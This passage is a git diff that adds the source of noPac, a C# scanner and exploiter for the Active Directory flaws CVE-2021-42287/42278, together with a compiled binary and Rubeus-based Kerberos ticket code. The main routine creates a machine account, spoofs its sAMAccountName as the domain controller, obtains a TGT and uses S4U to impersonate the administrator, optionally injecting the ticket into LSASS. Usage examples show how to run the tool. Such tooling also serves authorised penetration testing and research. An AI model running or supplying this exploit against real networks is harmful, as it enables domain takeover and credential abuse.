directoryEntry.Properties[attribute].Add(value); + directoryEntry.CommitChanges(); + Console.WriteLine("[+] Machine account {0} attribute {1} appended", machineAccount, attribute); + } + else if (clear) + { + directoryEntry.Properties[attribute].Clear(); + directoryEntry.CommitChanges(); + Console.WriteLine("[+] Machine account {0} attribute {1} cleared", machineAccount, attribute); + } + else + { + directoryEntry.InvokeSet(attribute, value); + directoryEntry.CommitChanges(); + Console.WriteLine("[+] Machine account {0} attribute {1} updated", machineAccount, attribute); + } + + } + catch (Exception ex) + { + Console.WriteLine(ex.ToString()); + throw; + } + + if (!String.IsNullOrEmpty(directoryEntry.Path)) + { + directoryEntry.Dispose(); + } + + } + + public static Dictionary getDCs(string domain, string username, string password, string domainController) + { + Dictionary list = new Dictionary(); + string endpoint = ""; + if(string.IsNullOrEmpty(domainController)) + { + endpoint = domain; + } + else + { + endpoint = domainController; + } + DirectoryEntry directoryEntry = new DirectoryEntry(String.Concat("LDAP://", endpoint), username, password); + DirectorySearcher searcher = new DirectorySearcher(directoryEntry); + searcher.Filter = "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"; + searcher.PropertiesToLoad.AddRange(new string[] { "dnshostname", "Ipv4address" }); + foreach (SearchResult result in searcher.FindAll()) + { + DirectoryEntry entry = result.GetDirectoryEntry(); + //Console.WriteLine("dnshostname: " + entry.Properties["dnshostname"].Value); + //Console.WriteLine("IPv4Address: " + entry.Properties["IPv4Address"].Value); + list.Add(entry.Properties["dnshostname"].Value.ToString(), ""); + } + return list; + } + + public static Dictionary getDCs() + { + Dictionary list = new Dictionary(); + + Domain domain = Domain.GetCurrentDomain(); + + foreach (DomainController dc in domain.DomainControllers) + { + list.Add(dc.Name, dc.IPAddress); + } + return list; + } + + public static void scan(string domain, string username, string password, string passwordHash, string domainController) + { + Dictionary DCs = new Dictionary(); + DCs = getDCs(domain, username, password, domainController); + //DCs = getDCs(); + + foreach (var dc in DCs) + { + try + { + Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); + byte[] ticket = Ask.TGT(username, domain, passwordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, dc.Key, luid, false, false, "", false, false); + if (ticket.Length > 0) + { + Console.WriteLine("[+] Got TGT from {0}. Ticket size: {1}", dc.Key, ticket.Length); + } + else + { + Console.WriteLine("[-] Could not get TGT from {0}", dc.Key); + continue; + } + }catch (Exception ex) + { + Console.WriteLine("[-] Could not get TGT from {0}", dc.Key); + Console.WriteLine("[-] Exception {0}", ex); + } + } + + } + + static void Main(string[] args) + { + string argDomainUser = ""; + string argDomainUserPassword = ""; + + string argContainer = "COMPUTERS"; + string argDistinguishedName = ""; + string argDomain = ""; + string argDomainController = ""; + string argTargetSPN = ""; + string argService = "LDAP"; + string argImpersonate = "administrator"; + bool argPTT = false; + + //machine account + string argMachineAccount = ""; + string argMachinePassword = ""; + + bool argRandom = false; + bool argVerbose = true; + Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); + + if (args == null || !args.Any()) + { + Console.WriteLine(); + Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter"); + Console.WriteLine("By @Cube0x0"); + Console.WriteLine(); + Console.WriteLine("/domain /user /pass argument needed for scanning"); + Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation"); + Console.WriteLine(); + Console.WriteLine("Examples:"); + Console.WriteLine(" noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'"); + Console.WriteLine(" noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!"); + Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!"); + Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt"); + return; + } + + foreach (var entry in args.Select((value, index) => new { index, value })) + { + string argument = entry.value.ToUpper(); + + switch (argument) + { + case "-DOMAIN": + case "/DOMAIN": + argDomain = args[entry.index + 1]; + break; + + case "-USER": + case "/USER": + argDomainUser = args[entry.index + 1]; + break; + + case "-PASS": + case "/PASS": + argDomainUserPassword = args[entry.index + 1]; + break; + case "-DC": + case "/DC": + argDomainController = args[entry.index + 1]; + break; + case "-MACCOUNT": + case "/MACCOUNT": + argMachineAccount = args[entry.index + 1]; + break; + case "-MPASSWORD": + case "/MPASSWORD": + argMachinePassword = args[entry.index + 1]; + break; + case "-SERVICE": + case "/SERVICE": + argService = args[entry.index + 1]; + break; + case "-IMPERSONATE": + case "/IMPERSONATE": + argImpersonate = args[entry.index + 1]; + break; + case "-PTT": + case "/PTT": + argPTT = true; + break; + } + } + NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain); + string machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword); + string domainUserPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword); + if (args.Length >= 1) + { + if (args[0] == "scan") + { + if(string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword)) + { + Console.WriteLine("[-] /domain /user /pass argument needed for scanning"); + return; + } + scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController); + return; + } + if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword)) + { + Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation"); + return; + } + + argTargetSPN = $"{argService}/{argDomainController}"; + if(String.IsNullOrEmpty(argDomain)) + argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray()); + } + + //new machine account + try + { + NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential); + } catch (DirectoryOperationException e) + { + //so we can rerun the tool using the same machine account or reuse machine account + if (!e.Message.Contains("The object exists")) + { + Console.WriteLine("[-] Failed to create machine account"); + return; + } + } + + //clean spn + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential); + + //set samaccountname + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential); + + //ask tgt + byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true); + if (ticket.Length > 0) + { + Console.WriteLine("[+] Got TGT for {0}", argDomainController); + //Console.WriteLine(Convert.ToBase64String(ticket)); + } + else + { + Console.WriteLine("[-] Could not get TGT for {0}", argDomainController); + return; + } + + //undo samaccountname change + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential); + + //s4u + KRB_CRED kirbi = new KRB_CRED(ticket); + S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, ""); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Properties/AssemblyInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0dd1557 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("noPac")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Administrator")] +[assembly: AssemblyProduct("noPac")] +[assembly: AssemblyCopyright("Copyright © Administrator 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("d03e6124-fd00-414d-90b3-852213257dc2")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe new file mode 100644 index 0000000..a8e939d Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe.config b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe.config new file mode 100644 index 0000000..bae5d6d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.pdb b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.pdb new file mode 100644 index 0000000..4b1659b Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/bin/Release/noPac.pdb differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Ask.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Ask.cs new file mode 100644 index 0000000..99b7eef --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Ask.cs @@ -0,0 +1,753 @@ +using System; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Linq; +using Asn1; +using Rubeus.lib.Interop; +using Rubeus.Asn1; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; + + +namespace Rubeus { + + public class RubeusException : Exception + { + public RubeusException(string message) + : base(message) + { + } + } + + public class KerberosErrorException : RubeusException + { + public KRB_ERROR krbError; + + public KerberosErrorException(string message, KRB_ERROR krbError) + : base(message) + { + this.krbError = krbError; + } + } + + public class Ask + { + public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true) + { + // send request without Pre-Auth to emulate genuine traffic + bool preauth = false; + if (opsec) + { + preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true); + } + + try + { + // if AS-REQ without pre-auth worked don't bother sending AS-REQ with pre-auth + if (!preauth) + { + //Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); + //Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); + AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac); + return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, false, opsec, servicekey); + } + } + catch (KerberosErrorException ex) + { + KRB_ERROR error = ex.krbError; + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + + return null; + } + + public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false) + { + string dcIP = Networking.GetDCIP(domainController, true, domain); + if (String.IsNullOrEmpty(dcIP)) { return false; } + + AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, etype, true); + byte[] reqBytes = NoPreAuthASREQ.Encode().Encode(); + + byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); + + if (response == null) + { + return false; + } + + // decode the supplied bytes to an AsnElt object + AsnElt responseAsn = AsnElt.Decode(response); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + Console.WriteLine("[-] AS-REQ w/o preauth successful! {0} has pre-authentication disabled!", userName); + + byte[] kirbiBytes = HandleASREP(responseAsn, etype, keyString, outfile, ptt, luid, describe, verbose); + + return true; + } + + return false; + + } + + //CCob (@_EthicalChaos_): + // Based on KerberosAsymmetricCredential::Get function from Kerberos.NET from here: + // https://github.com/dotnet/Kerberos.NET/blob/v4.5.0/Kerberos.NET/Credentials/KerberosAsymmetricCredential.cs + // Additional functionality - If the certificate points to a file we assume PKCS12 certificate store + // with private key otherwise use users certificate store along with any smartcard that maybe present. + public static X509Certificate2 FindCertificate(string certificate, string storePassword) { + + if (File.Exists(certificate)) { + return new X509Certificate2(certificate, storePassword); + } else { + + X509Store store = new X509Store(StoreName.My, StoreLocation.CurrentUser); + store.Open(OpenFlags.ReadOnly); + X509Certificate2 result = null; + + foreach (var cert in store.Certificates) { + if (string.Equals(certificate, cert.Subject, StringComparison.InvariantCultureIgnoreCase)) { + result = cert; + break; + } else if (string.Equals(certificate, cert.Thumbprint, StringComparison.InvariantCultureIgnoreCase)) { + result = cert; + break; + } + } + + if (result != null && !String.IsNullOrEmpty(storePassword)) { + result.SetPinForPrivateKey(storePassword); + } + + return result; + } + } + + public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool getCredentials = false) { + try { + X509Certificate2 cert = FindCertificate(certFile, certPass); + + // Check for Base64 encoded certificate second in case certFile was a hex-encoded fingerprint + if (cert == null && Helpers.IsBase64String(certFile)) + { + cert = new X509Certificate2(Convert.FromBase64String(certFile), certPass); + } + + if (cert == null) { + Console.WriteLine("[!] Failed to find certificate for {0}", certFile); + return null; + } + + KDCKeyAgreement agreement = new KDCKeyAgreement(); + + Console.WriteLine("[*] Using PKINIT with etype {0} and subject: {1} ", etype, cert.Subject); + Console.WriteLine("[*] Building AS-REQ (w/ PKINIT preauth) for: '{0}\\{1}'", domain, userName); + + AS_REQ pkinitASREQ = AS_REQ.NewASReq(userName, domain, cert, agreement, etype, verifyCerts); + return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, getCredentials); + + } catch (KerberosErrorException ex) { + KRB_ERROR error = ex.krbError; + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } catch (RubeusException ex) { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + + return null; + } + + public static bool GetPKInitRequest(AS_REQ asReq, out PA_PK_AS_REQ pkAsReq) { + + if (asReq.padata != null) { + foreach (PA_DATA paData in asReq.padata) { + if (paData.type == Interop.PADATA_TYPE.PK_AS_REQ) { + pkAsReq = (PA_PK_AS_REQ)paData.value; + return true; + } + } + } + pkAsReq = null; + return false; + } + + public static int GetKeySize(Interop.KERB_ETYPE etype) { + switch (etype) { + case Interop.KERB_ETYPE.des_cbc_md5: + return 7; + case Interop.KERB_ETYPE.rc4_hmac: + return 16; + case Interop.KERB_ETYPE.aes128_cts_hmac_sha1: + return 16; + case Interop.KERB_ETYPE.aes256_cts_hmac_sha1: + return 32; + default: + throw new ArgumentException("Only /des, /rc4, /aes128, and /aes256 are supported at this time"); + } + } + + public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false) + { + if ((ulong)luid != 0) { + Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); + } + + string dcIP = Networking.GetDCIP(domainController, false); + if (String.IsNullOrEmpty(dcIP)) + { + throw new RubeusException("[X] Unable to get domain controller address"); + } + + byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode()); + if (response == null) + { + throw new RubeusException("[X] No answer from domain controller"); + } + + // decode the supplied bytes to an AsnElt object + AsnElt responseAsn; + try + { + responseAsn = AsnElt.Decode(response); + } + catch(Exception e) + { + throw new Exception($"Error parsing response AS-REQ: {e}. Base64 response: {Convert.ToBase64String(response)}"); + } + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + if (verbose) + { + Console.WriteLine("[+] TGT request successful!"); + } + + byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP); + + return kirbiBytes; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + throw new KerberosErrorException("", error); + } + else + { + throw new RubeusException("[X] Unknown application tag: " + responseTag); + } + } + + public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) + { + // kirbi = the TGT .kirbi to use for ticket requests + // service = the SPN being requested + // requestEType = specific encryption type for the request, Interop.KERB_ETYPE.subkey_keymaterial implies default + // ptt = "pass-the-ticket" so apply the ticket to the current logon session + // domainController = the specific domain controller to send the request, defaults to the system's DC + // display = true to display the ticket + + // extract out the info needed for the TGS-REQ request + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + + // the etype for the PA Data for the request, so needs to match the TGT key type + Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string[] services = service.Split(','); + foreach (string sname in services) + { + // request the new service ticket + TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs); + Console.WriteLine(); + } + } + + public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) + { + string dcIP = Networking.GetDCIP(domainController, display); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + if (display) + { + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); + } + else + { + Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); + } + + if (!String.IsNullOrEmpty(service)) + Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); + else if (u2u) + Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName); + else + Console.WriteLine("[*] Building TGS-REQ request"); + + } + + // if /service is empty get name from the supplied /tgs + if (u2u && tgs != null && String.IsNullOrEmpty(service)) + service = tgs.enc_part.ticket_info[0].pname.name_string[0]; + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u); + + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + if (display) + { + Console.WriteLine("[+] TGS request successful!"); + } + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT + if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0)) + { + byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true); + + byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes); + } + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = rep.crealm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + if (String.IsNullOrEmpty(servicekey) && u2u) + servicekey = Helpers.ByteArrayToString(clientKey); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + LSA.DisplayTicket(kirbi, 2, false, false, false, false, + string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey)); + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (display) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (!String.IsNullOrEmpty(servicekey) && printargs) + { + var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null); + PACTYPE pt = decryptedEncTicket.GetPac(null); + if (pt == null) + { + Console.WriteLine("[X] Unable to get the PAC"); + return kirbiBytes; + } + + string outArgs = String.Empty; + + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer is LogonInfo li) + { + outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString())) + outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString())) + outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString())) + outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString())) + outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString())) + outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive); + if (li.KerbValidationInfo.GroupCount > 0) + outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + if (li.KerbValidationInfo.SidCount > 0) + outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + if (li.KerbValidationInfo.ResourceGroupCount > 0) + outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + try + { + outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch { } + DateTime? passLastSet = null; + try + { + passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)); + } + catch { } + if (passLastSet != null) + { + outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime()); + DateTime? passCanSet = null; + try + { + passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)); + } + catch { } + if (passCanSet != null) + outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days); + DateTime? passMustSet = null; + try + { + passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)); + } + catch { } + if (passMustSet != null) + outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days); + } + if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString())) + outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm); + if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) + outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", "")); + } + } + + Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs); + } + + return kirbiBytes; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + + private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") + { + // parse the response to an AS-REP + AS_REP rep = new AS_REP(responseAsn); + + // convert the key string to bytes + byte[] key; + if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { + // generate the decryption key using Diffie Hellman shared secret + PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; + key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], + pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); + } else { + // convert the key string to bytes + key = Helpers.StringToByteArray(asReq.keyString); + } + + // decrypt the enc_part containing the session key/etc. + // TODO: error checking on the decryption "failing"... + byte[] outBytes; + + if (etype == Interop.KERB_ETYPE.des_cbc_md5) + { + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + outBytes = 